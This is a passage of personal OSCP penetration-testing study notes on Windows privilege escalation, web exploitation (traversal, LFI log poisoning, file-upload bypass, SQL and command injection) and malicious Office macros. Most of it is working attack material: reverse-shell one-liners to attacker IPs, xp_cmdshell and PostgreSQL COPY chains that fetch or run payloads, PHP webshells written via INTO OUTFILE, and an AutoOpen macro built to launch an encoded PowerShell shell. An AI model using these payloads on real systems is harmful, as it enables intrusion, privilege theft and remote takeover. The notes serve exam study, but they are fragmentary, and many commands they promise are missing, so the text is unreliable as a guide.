Start the service and > BOOM!! login as the new user you created {check it by net user;)}
Using AccessChk from the Sysinternals suite the service DACL for the thmservice is check
The result displays the access control entries for the service:
NT AUTHORITY\SYSTEM: Grants specific service-related permissions.
BUILTIN\Users: Has SERVICE_ALL_ACCESS permission, allowing complete service reconfiguration.
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F -- we will give perms too to our payload so that ot can be executed by an service
-sc: This is the Windows Service Control command-line utility used to communicate with the Service Control Manager (SCM) and services.
-config: Indicates that we want to change the configuration settings of a specific service.
-THMService: Represents the name of the target service whose configuration we want to modify. Replace "THMService" with the actual service name.
-binPath=: Specifies the new binary path for the service executable. In this case, it's set to C:\Users\thm-unpriv\rev-svc3.exe. This command changes the service's executable to the specified file (rev-svc3.exe
in this directory).
-obj= LocalSystem: Sets the service's execution context to LocalSystem, which is a highly privileged built-in account in Windows with extensive system rights.
In command prompt type: sc config daclsvc binpath= "net localgroup administrators user /add"
2. In command prompt type: sc start daclsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
sc stop THMService
sc start THMService
You're in
Query the "regsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).
sc qc regsvc
Using accesschk.exe, note that the registry entry for the regsvc service is writable by the "NT AUTHORITY\INTERACTIVE" group (essentially all logged-on users):
Overwrite the ImagePath registry key to point to the reverse.exe executable you created:
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).
sc qc filepermsvc
Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone:
also check if we can start or stop the service by us or not by using this cmd:
Copy the reverse.exe executable you created and replace the filepermservice.exe with it:
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:
OSCP Page 52
Privilege Escalation
2. Note that the “regsvc” service has a weak registry entry. We can confirm this with
5. Start a listener on Kali, and then start the service to trigger the exploit:
3. We can confirm this with accesschk.exe: > .\accesschk.exe /accepteula -uwcqv user daclsvc
sc query daclsvc
7. Start a listener on Kali, and then start the service to trigger the
exploit:
net start daclsvc
Whoami /priv
To backup the SAM and SYSTEM hashes, we can use the following commands:
This will create a couple of files with the registry hives content. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket's smbserver.py
to start a simple SMB server with a network share in the current directory of our AttackBox:
This will create a share named public pointing to the share directory, which requires the username and password of our current windows session. After this, we can use the copy command in our windows
machine to transfer both files to our AttackBox:
now we just need to import sam and system hives (but for this one system is enough):
or use reg.exe
OSCP Page 53
C:\Windows\NTDS\ntds.dit
now download ntds.dit and system on your machine and use this cmd to extract and dump the hashes :
We'll abuse utilman.exe to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:
Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.
Notice that being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over
utilman.exe
Command Prompt
C:\Windows\System32\> copy cmd.exe utilman.exe
Now when we lockout the screen and click on ease of access it will pop a cmd prompt with shell as we replaces Ultiman.exe with cmd.exe
Simplified File Access with Impersonation Privileges with SeImpersonate or SeAssignPrimaryToken privileges:
The FTP service can temporarily acquire a user's access token during their session.
This enables the service to access files as that user, reducing the need for explicit file permissions.
Operating system authorization handles access, limiting FTP service access to the authenticated user's files.
Whoami /priv
RogueWinRM leverages the BITS (Background Intelligent Transfer Service) service in Windows.
When the BITS service starts, it establishes a connection to port 5985 using SYSTEM privileges, often used by WinRM (Powershell console).
An attacker, leveraging SeImpersonate, can mimic WinRM on port 5985, capturing authentication attempts by BITS service, executing commands as SYSTEM.
We will do it by this cmd: and before that start a listener on machine and do wait for a min or 2 to get a shell:
Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to
trigger the reverse.exe executable you created with the permissions of the "local service" account:
Now, in the "local service" reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
OSCP Page 54
C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to
trigger the reverse.exe executable you created with the permissions of the "local service" account:
Now, in the "local service" reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
#REGISTRY - AUTORUNS
Using accesschk.exe, note that one of the AutoRun executables is writable by everyone:
-u (User): Specifies the user account or SID for which you want to check permissions.
-w (Write): Lists objects for which the specified user has write access.
-d (Delete): Lists objects for which the specified user has delete access.
-q (Query): Suppresses banner information and column headers when displaying results.
-v (Verbose): Shows detailed information about each object, including the ACL.
-l (Literal name): Treats command-line arguments as literal names even if they resemble user/group names.
-c (CSV): Formats output as comma-separated values.
-k (Keyword): Shows information in a keyword=value format.
-v (Verbose): Shows detailed information about each object, including the ACL.
Copy the reverse.exe executable you created and overwrite the AutoRun executable with it:
Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it, however if the
payload does not fire, log in as an admin (admin/password123) to trigger it. Note that in a real world engagement, you would have to wait for an administrator to log in themselves!
#REGISTRY - ALWAYSINSTALLELEVATED
On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:
Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier).
Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:
#REGISTRY HIVES:
HKEY_CLASSES_ROOT (HKCR): Contains file association and COM object registration information, dictating which programs are opened to handle specific file
types or protocols.
HKEY_CURRENT_USER Stores settings specific to the currently logged-in user, such as desktop background, screen saver, and application settings.
OSCP Page 55
HKEY_CURRENT_USER Stores settings specific to the currently logged-in user, such as desktop background, screen saver, and application settings.
(HKCU):
HKEY_LOCAL_MACHINE Contains settings that are global to all users on the computer, including hardware settings and software information.
(HKLM):
HKEY_USERS (HKU): Holds user profile information for all users who have logged onto the system.
HKEY_CURRENT_CONFIG Contains information about the current hardware profile of the system.
(HKCC):
The Windows Registry has special spots called "Run" and "RunOnce" keys. Think of them as the computer's to-do list for when you log in. Here's how they work:
What Are They? "Run" and "RunOnce" keys are like instructions telling your computer, "Hey, please start these programs when the user logs in."
Where Are They? There are two main places for these keys:
For all users on the computer, under HKEY_LOCAL_MACHINE (often abbreviated as HKLM).
Just for the currently logged-in user, under HKEY_CURRENT_USER (or HKCU).
Specifically, you can find them here:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run: If a program is listed here, it starts every time you log in.
RunOnce: Programs listed here start only once. After they run, the computer deletes them from the list. It's like saying, "Remind me to do this the next time I log
in, but just once."
# EXTRAS
winpeas
Before running, we need to add a registry key and then reopen the
command prompt:
OSCP Page 56
Juicy Potato -- more on https://lojique.gitbook.io/wiki/red-team/exploitation/juicy-potato
Rotten Potato was quite a limited exploit. Juicy Potato works in the same way as Rotten Potato, but the authors did extensive research and found many
more ways to exploit.
https://github.com/ohpe/juicy-potato
5. Now run the JuicyPotato exploit to trigger a reverse shell running with SYSTEM privileges:
6. If the CLSID ({03ca…) doesn’t work for you, either check this list:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
Hot Potato
.\potato.exe -ip <tgtip> -cmd "C:\PrivEsc\Reverse.exe" -enable_http server true -enable_defender true -enable_spoof true -enable_exhaust true
# DLL-HIJACKING
A more common misconfiguration that can be used to escalate privileges is if a DLL is missing from the system, and our user has write access to a directory within the PATH that Windows searches for
DLLs in. Unfortunately, initial detection of vulnerable services is difficult, and often the entire process is very manual
Privilege Escalation
1. Use winPEAS to enumerate non-Windows services:
2. Note that the C:\Temp directory is writable and in the PATH. Start by enumerating which of these services our user has stop and start access to:
3. The “dllsvc” service is vulnerable to DLL Hijacking. According to the winPEAS output, the service runs the dllhijackservice.exe executable. We can confirm this manually:
> sc qc dllsvc
4. Run Procmon64.exe with administrator privileges. Press Ctrl+L to open the Filter menu.
8. Back in Procmon, note that a number of “NAME NOT FOUND” errors appear, associated with the hijackme.dll file.
11. Copy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:
OSCP Page 57
open or import procmon.exe in the target and open it {you need to have admin creds to do that ;((}
go to filter and choose process name > is > (vulnserv.exe) > include >> now click on add and apply it
it will be empty but to capture new requests run the below cmd and you'll see a large output :->
now manually go through the output and you may find that this service tries to open a file named hellu.dll from various locations but name is not found and is looking first on documents dir of our user:)
so it's writable so now we will create a malicious dll file and put it in our documents dir, we will make a dll in which we will be adding our user to administrators group;) {below is the code}
#include <stdlib.h>
#include <windows.h>
save it as hellu.cpp and then we need to cross-compile it to make it a working dll by using mingw
import it to documents dir of our user and restart the service to see our user in the administrators group;))
Restart-Service BetaService
BOOM!! login as the created user and grab the flag already
Windows VM
Kali VM
OSCP Page 58
OSCP Page 59
WEB
Friday, January 5, 2024 6:44 PM
#DIRECTORY TRAVERSAL
For example, if we find the following link, we can extract vital information from it.
https: //test.com/hellu/login.php?language=en.html
First, login.php tells us the web application uses PHP. We can use this information to develop assumptions about how the web application works, which is helpful for the exploitation phase.
Second, the URL contains a language parameter with an HTML page as its value. In a situation like this, we should try to navi gate to the file directly (https://test.com/hellu/en.html). If we can successfully open it,
we can confirm that en.html is a file on the server, meaning we can use this parameter to try other file names. We should alw ays examine parameters closely when they use files as a value.
Third, the URL contains a directory called hellu. This is important information indicating that the web application is running in a subdirectory of the web root.
curl --path-as-is http ://<ip>:3000/public/plugins/alertlist/../../../../../../../../../Users/desktop/flag.txt (for win) {do test for ../ & ..\}
ssh -i hi_key -p ____ <user@domain.com> {don't forget to chmod 600 the key}
curl http ://192.168.243.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/opt/passwords (url -encode when apache has version lower than 2.4.49)
Instead of using `../` directly, you can URL encode it as `%2e%2e%2f` and provide it in the input field or URL parameter.
# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like this
cat ../../etc/passwd
#In web int should be exploited like this, find a parameters and test it out
http:// test.com/hellu/index.php?page=../../../../../../../../../etc/passwd
#check for id_rsa, id_ecdsa
#If the output is not getting formatted properly then,
curl http ://test.com/hellu/index.php?page=../../../../../../../../../etc/passwd
#For windows :-
===============
http ://<ip>:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt #no need to provide drive
Check-out `PEN-200 9.1.2 Task 2
curl --path-as-is "http ://$ip:3000/public/plugins/welcome/../../../../../../../../../../../../../../../Users/install.txt" -v –proxy 127.0.0.1:8080 (this last line is not required at all)
[Sushant747 Notes about LFI : Don't miss anything which is useful] https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html
[HackTricks LFI + All tricks} https://book.hacktricks.xyz/pentesting-web/file-inclusion
[All possible cheatsheet : Hacktricks payloads] https://github.com/carlospolop/hacktricks/tree/master/pentesting -web/file-inclusion
In the following example, we will try to write executable code to Apache's access.log file in the /var/log/apache2/ directory . We'll first need to review what information is controlled by us and saved by Apache in
the related log. In this case, "controlled" means that we can modify the information before we send it to the web application . We can either read the Apache web server2 documentation or display the file via
OSCP Page 60
the related log. In this case, "controlled" means that we can modify the information before we send it to the web application . We can either read the Apache web server2 documentation or display the file via
LFI.
Let's use curl to analyze which elements comprise a log entry by displaying the file access.log using the previously -found directory traversal vulnerability. This means we'll use the relative path of the log file in the
vulnerable "page" parameter in the "Mountain Desserts" web application.
above message shows that the User Agent is included in the log entry. Before we send a request, we can modify the User Agent in Burp and specify what will be written to the access.log file and can poison the
access.log files via the user agent by using this simple cmd:
now check t if you have poisoned the file by this cmd which will list all the files or dirs in the pwd: (for linux)
once we see it works we can attempt to get an easy rev-shell on the same by using a simple cmd :
bash -c "bash -i >& /dev/tcp/<your ip>/<p> 0>&1" {don't forget to url encode :))}
and BOOM you got the shell
If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to `/var/log/apache2/access.log` or `/var/log/nginx/access.log`, set inside the user agent or inside a GET
parameter a php shell like `<?php system($_GET['cmd']); ?>` or `<?php passthru($_GET['cmd']); ?> `and include that file.
So, once you have found a LFI vuln you have to inject php-code into the log file and then execute it.
For Poisoning the access.log log in the XAMPP C:\xampp\apache\logs log directory we can simply poison it in the same user-agent and for reading the files we can use below cmd:->
GET /test/index.php?page=..\..\..\..\..\..\..\..\..\xampp\apache\logs\access.log&cmd=type+secret.txt (try url encoding once and then go for 2nd time if doesn't works.) (for windows )
Also, Check if you can see your User-Agent data into these log files.
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
LFI TESTING:->>
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Normal Testing :-
=================
../../../../../../etc/passwd
../../../../../../etc/passwd --->#Null-Byte at Ending of the payload(%00)
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
..//..//..//..//..//etc/passwd
..../..../..../..../..../etc/passwd
....//....//....//....//....//....//etc/passwd
Obfuscation techniques :-
==========================
http ://example.com/page=../../../../../../etc/passwd%00
http: //example.com/page=../../../../../../etc/passwd?
OSCP Page 61
%252e/%252e/%252e/%252e/etc/passwd%00 #Double URL Encoded payload with Null -Byte at ending :)
/home/username/.ssh/id_rsa
/home/username/.ssh/id_rsa.pub
/home/username/.ssh/id_ecdsa
/home/username/.ssh/id_ecdsa.pub
/home/username/.ssh/id_ed25519
/home/username/.ssh/id_ed25519.pub
#PHP WRAPPERS
We can use the php://filter wrapper to display the contents of files either with or without encodings like ROT134 or Base64. While the php://filter wrapper can be used to include the contents of a file, we can
use the data:// wrapper to achieve code execution. This wrapper is used to embed data elements as plaintext or base64-encoded data in the running web application's code. This offers an alternative method
when we cannot poison a local file with PHP code.
Filter wrapper – We can see the contents of php file without executing the php code with encoding such as base64.
Data wrapper – It is used to embed data elements as plaintext or base64-encoded data in the running web application's code to achieve code execution directly.
Filter wrapper :-
=================
php://filter/convert.base64-encode/resource=index.php
OR
When web application firewalls or other security mechanisms are in place, they may filter strings like "system" or other PHP code elements. In such a scenario, we can try to use the data:// wrapper with base64-
encoded data. We'll first encode the PHP snippet into base64, then use curl to embed and execute it via the data:// wrapper.
OSCP Page 62
#FILE INCLUSION (RFI)
the allow_url_include option needs to be enabled to leverage RFI.The allow_url_include` setting specifically controls whether remote files can be included using include and require functions with URLs. This
setting is also relevant for the `data://` wrapper {allow_url_include` is disabled by default in current PHP versions} and tbh if it's not there we can still get shells in some scenarios:->>
Now we'll take an example from LFI testing as both have same functionalities so this can be done by 2 ways : 1st to execute c mds via burpsuite or curl and 2nd is to get an rev-shell using a simple script.
1st :->>
intercept a req in burp and make a small simple php sys cmd script in your machine:-
and for reading file contents you can always use cat cmd with one time url encoding and BOOM!
Now 2nd:->>
intercept the request and use in-built shell script located in /usr/share/webshells/php/php-reverse-shell.php and change the contents in it acc to your need and use this cmd > start listener before this:)
1. Executable Files:
- Allow uploading files that the web app can execute, like PHP scripts.
- Enables code execution through the browser or other means.
2. Combined Vulnerabilities:
- Require combining file uploads with other vulnerabilities (e.g., Directory Traversal).
- Can overwrite files or perform attacks like XXE or XSS.
suppose you got an upload functionality which don't accepts any php formats you can try these and play with lower and upper c ase chars or try from chart below:)and try to test:->>
curl http ://<yourip>/test/uploads/simple-backdoor.pHP?cmd='type+\xampp\don'topenit.txt' {don't forget to use ' ' or " " after the cmd }
OSCP Page 63
Bypass file extensions checks while File-Upload :-
- Adding a null byte injection like (shell.php%00.gif ). // Or by using double extensions for the uploaded file like: shell.jpg.php
- Check **add**ing a **valid extension before the execution extension** (use previous extensions also):
- file.png.php
- file.png.Php5
- Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that y ou can also try to use the previously motioned extensions)
- `file.php%20`
- `file.php%0a`
- `file.php%00 `
- `file.php%0d%0a `
- `file.php/ `
- `file.php.\`
%PDF-1.4
<?php
system($_GET["cmd"]);
?>
http ://<RHOST>/index.php?page=uploads/<FILE>.pdf%00&cmd=whoami
let's have an example for this same as above but somewhat tweaked website : in here we see there's still upload functionality so we try it with a simple .txt file to see how it behaves in the burp :
Next, let's check if the web application allows us to specify a relative path in the filename and write a file via Directory Traversal outside of the web root. We can do this by modifying the "filename" parameter in
the request so it contains ../../../../../../../test.txt, then click send.
and it worked
Caution:- Here, We don't know what internally going on, but we can try to blindly overwrite files. May be successfull message is a Trap and sanitized it internally. We don't know what i nternally going on,
but we can try to blindly overwrite files.
Let's try to overwrite the authorized_keys file in the home directory for root. If this file contains the public key of a pri vate key we control, we can access the system via SSH as the root user. To do this, we'll
create an SSH keypair with ssh-keygen,4 as well as a file with the name authorized_keys containing the previously created public key.
ssh-keygen
filename
convert.pub to authroized_keys
click on upload and intercept the req in burp and change the file path to filename="../../../../../../root/.ssh/authorized_keys" so we can overwrite and put ours , then we can login easily without any pass
NOTE:-> if it doesn't work that's coz of all host keys of previous SSH connections we practiced on so better to delete it using th is cmd :
rm ~/.ssh/known_hosts
OSCP Page 64
refer this if needed :-> https://owasp.org/www-community/attacks/Command_Injection or https://book.hacktricks.xyz/pentesting-web/command-injection
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
"test&&whoami"
`ls` # ``
$(ls) # $()
1. Injection Points:
- Input fields, URL parameters, and cookies are common injection points.
- Use double quotes (") or single quotes (') to terminate quoted context.
1. OS Support:
so inplace of whoami you can simply put a url-encoded rev-shell ------------->>> for url-encoding you can use this : https://meyerweb.com/eric/tools/dencoder/
BOOM you're in
Another scenario for an IIS server web-page here you may find 2 ports : 80 and 8000 and tricky thing is if you have an upload functionality in 8000 and you upload a shell file you can access it via port 80;)
refer this link of stream-io box with manual exploitation with sql injction:-> STREAM-IO
OSCP Page 65
first things first check the search fields, comment-boxes, email-update boxes, url-bars for the point of injection:
once you find try giving it these first to check how the application responds:)
+or+1=1 , 1=2
','',#,-- ,-- -,--- - (do check these if one doesn't work as browser sometimes doesn't like a char you are using:)
if you find any thing like mailbox,newsletter subscription and it has a field fire up burp add something there and see how it responds in the repeater you may get injection point there
also never forget to check wappalyzer to see if site is having wordpress or not
and once you login via ip in a site do check for names which can be addedd to /etc/hosts file.
Payload URL Encoded {Note: In some cases, we may have to use the URL encoded version of the payload. An example of this is when we pu t our payload directly in the URL 'i.e. HTTP GET request'}
' %27
" %22
# %23
; %3B
) %29
for example:->>
'order by 1--
'order by 1-- -
'order by 1#
' ORDER BY 1-- //
TIME DELAYS:->>
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)
' order by 1-- or -- - (keep on increasing until you see a change or get an error)
' union select null,'a'-- or -- - (and can change or switch positions for testing)
String concatenation
You can concatenate together multiple strings to make a single string.
MySQL --> 'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')
PostgreSQL--> --comment
/*comment*/
MySQL--> #comment
-- comment [Note the space after the double dash]
/*comment*/
You can list the tables that exist in the database, and the columns that those tables contain.
OSCP Page 66
Microsoft--> SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE -NAME-HERE'
MySQL :: MySQL 8.0 Reference Manual :: 26.3.38 The INFORMATION_SCHEMA TABLES Table
NOTE:->>The TABLE_NAME column stores table names, while the TABLE_SCHEMA column points to the database each table belongs to.
'union select column_name,null from information_schema.columns where table_name='users_qcaktb' -- (for getting the columns for this specific table)
'union select username_wzzlwy, password_afvagv from users_qcaktb-- (for getting the contents from those specific columns in the table "users_qcaktb")
' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev' -- - (find all tables in dev db)
' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials' -- - (for getting column names in credentials table:))
MS-SQL cmds:->>
SELECT name FROM sys.databases; {To list all the available databases}
select * from offsec.dbo.users; {List all data in users Table in offsec database}
SELECT CURRENT_USER; {Retrieve Current User in the current database conte xt}
SELECT name FROM sys.databases; {Retrieves the names of all databases on the SQL Server instan ce}
SELECT name, schema_id FROM sys.tables; {To retrieve information about tables }
select * from information_schema.tables; {to list all the tables present in that database}
OSCP Page 67
POSTGRE-SQL cmds:->>
postgres=# \q // quit
MYSQL CMDS:->> {SQL statements aren't case sensitive, which means 'USE users;' and 'use users;' }
or
or
SELECT column1, column2 FROM table_name; {displays 2 columns and can also increase as per your preference}
like for example if you have a table named user and column in that table as hello and you want the data from that hello you c an use the above cmd by modifying it like this:
INSERT INTO your_table_name (column1, column2) VALUES ('value1', 'value2'); {Insert Data:}
Another useful SQL clause is LIKE, enabling selecting records by matching a certain pattern. The query below retrieves all re cords with usernames starting with admin:
To start our enumeration, we should find what databases are available on the DBMS. The table SCHEMATA in the INFORMATION_SCHEMA database contains information about all databases on the server. It is
used to obtain database names so we can then query them. The SCHEMA_NAME column contains all the database names currently present.
Let us first test this on a local database to see how the query is used:
OSCP Page 68
' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - {for web one}
to find our current DB user, we can use any of the following queries:
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
or
Once again, we can use the following payload with the above query:
We can also dump other privileges we have directly from the schema, with the following query:
Once again, we can add WHERE user="root" to only show our current user root privileges. Our payload would be:
The LOAD_FILE() function can be used in MariaDB / MySQL to read data from files.
SELECT LOAD_FILE('/etc/passwd');
If default Apache webroot is /var/www/html. Let us try reading the source code of the file at /var/www/html/search.php.
Now let's see if we want to WRITE so we need these checks:- Server System Variables - MariaDB Knowledge Base
' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_ priv"-- - { for web}
' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt' -- - { for web}
OSCP Page 69
MS-SQL SQLi to RCE :- XP-CMDSHELL RCE in MS-SQL Sqli
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXECUTE xp_cmdshell 'ping -n 2 <ip>';-- - #Always `Ping Test` before getting rev-shell
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXECUTE xp_cmdshell 'cmd /c curl http ://<ip>/shell.ps1 -o C:\windows\temp\shell.ps1';-- -
#One-Shot Xp-cmdshell RCE
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXECUTE xp_cmdshell 'powershell.exe C:\windows\temp\shell.ps1';-- - -- hanging means
got the shell
Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache's configuration found
at /etc/apache2/apache2.conf, Nginx's configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir% \System32\Inetsrv\Config\ApplicationHost.config
WEBSHELL:->>
' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php' -- -
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" --
- ' UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C: \\xampp\\htdocs\\backdoor.php"-- -
- ' union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' -- -
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null, null INTO OUTFILE "C: \wamp64\attendance\admin\login.php" --
can be verified by browsing to the /shell.php file and executing commands via the 0 parameter, with ?0=id in our URL:
' UNION SELECT null, null, null, null, null, '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/tmp/webshell.php' -- -
EXTRAS:->>>
SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE(); {This lists all tables in context of curre nt database}
SELECT table_name FROM information_schema.tables; {Lists all `tables` present in All database}
SELECT column_name FROM information_schema.columns; {Lists all `columns` in all present tables in all database}
INJECTIONS:->>>{MYSQL}
- ' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database( ) -- {One-Shot Payload for Getting current column/table name}
- ' union select null,version(),user(),null,table_name FROM information_schema.tables WHERE table_schema=database() -- {Know the current table names}
- ' union select null,null,'insert-anything',null,column_name FROM information_schema.columns WHERE table_name="users" -- {Know the current colum names}
- ' UNION SELECT null, username, password, null , null FROM users -- {Put the `table name` and `column name` to retrieve info}
%' UNION SELECT database(), user(), @@version, null, null -- // (mainly for search-bar) {you may get an error for 1st field as it's usually reserved for integer datatype}
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database( ) -- // {to retrieve the columns table from the information_schema
database belonging to the current database}
' UNION SELECT null, username, password, description, null FROM users -- // {for getting data from users table in which there is password column}
INJECTIONS:->>>{MS-SQL}
OSCP Page 70
- %' UNION SELECT database(), user(), @@version, null, null --
- ' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database( ) --
- ' UNION SELECT null, username, password, null , null FROM users --
INJECTIONS:->>>{POSTGRE-SQL}
suppose you get an injection point where there's 6 columns and in 1st one it only takes integers and 2nd and onwards takes strings but you can't chain or use both of them so you can do this:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-command-execution
';DROP TABLE IF EXISTS commandexec; CREATE TABLE commandexec(cmd_output text); COPY commandexec FROM PROGRAM '/bin/bash -c "id";-- (you may get no error so it worked so now time to get RCE!!!)
';DROP TABLE IF EXISTS commandexec; CREATE TABLE commandexec(cmd_output text); COPY commandexec FROM PROGRAM '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.45.207/4444 0>&1"';--
'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ping –c 1 192.168.45.190'; -- -
'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/192.168.45.190/9001 0>&1';-- -
'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM '/usr/bin/nc -e /bin/sh 192.168.45.198 9001'; -- -
OSCP Page 71
CLIENT-SIDE ATTACKS
Tuesday, January 23, 2024 6:08 PM
#INFO-GATHERING
One effective method in cybersecurity involves analyzing the metadata tags of documents that are publicly available and linked to the target organization. Metadata tags, which can be grouped into
different categories, often contain a range of information about a document. This information might include the document's author, the date it was created, the software (along with its version) used to
make the document, and even the operating system of the device where the document was produced. While it's possible to removeor "sanitize" this data manually, it's often overlooked and left in the
document, providing valuable insights for cybersecurity analysis.
gobuster with the -x parameter to search for specific file extensions on the target's web site.
suppose you came to a site and you click on a button and it redirects you to an pdf to an diff page so here you can use exiftool to extract the meta-data and get some juicy info.
NOTE:->> for downloading pdf use wget always never download it using clicking it to download
exiftool -a -u <name.pdf>
or
#CLIENT-FINGERPRINTING
Could use an HTML Application (HTA)3 attached to an email to execute code in the context of Internet Explorer and to some extent, Microsoft Edge. but to confirm this we can use canarytokens
https://www.canarytokens.org/generate#
a free web service that generates a link with an embedded token that we'll send to the target. When the target opens the linkin a browser, we will get information about their browser, IP address, and
operating system. With this information, we can confirm that the target is running Windows and verify that we should attemptan HTA client-side attack.
gives you hints on how you can send this link to the target machine to make them click it!!:)
OSCP Page 72
open the word doc and save it as mymacro.doc and not in .docx format and go to views > view macro > mymacro as a name > choose mymacro from dropdown below and save it you'd get this :
Sub MyMacro()
'
' MyMacro Macro
'
'
End Sub
now change it to :
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
CreateObject("Wscript.Shell").Run Str
End Sub
after this we gotta get a rev-shell and for that we can use this script to embed into the above code bu base64 encode it before embedding it
Base64 Encode and Decode - Online in here choose UTF-16LE in Destination char set instead of default :))
copy the output and now we have to use an automated .py script to split the output we got into smaller chunks of 50 chars andconcatenate them into an str variable.
To do this, we store the PowerShell command in a variable named str and the number of characters for a chunk in n.
Script:
Now copy the output of the script to above code like this :
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
now save the file and exit from it , before opening start an python3 server where the powercat.ps1 is present and an nc listener on 4444.
Now suppose if you are in windows machine via rdp and you have 2 ip's ::
for this to work you need to make a dir named tsclient in /srv and own it as your user by this cmd:
OSCP Page 73
for this to work you need to make a dir named tsclient in /srv and own it as your user by this cmd:
/dynamic-resolution {This option allows dynamic resizing of the remote desktop window}
+clipboard {you know what it means}
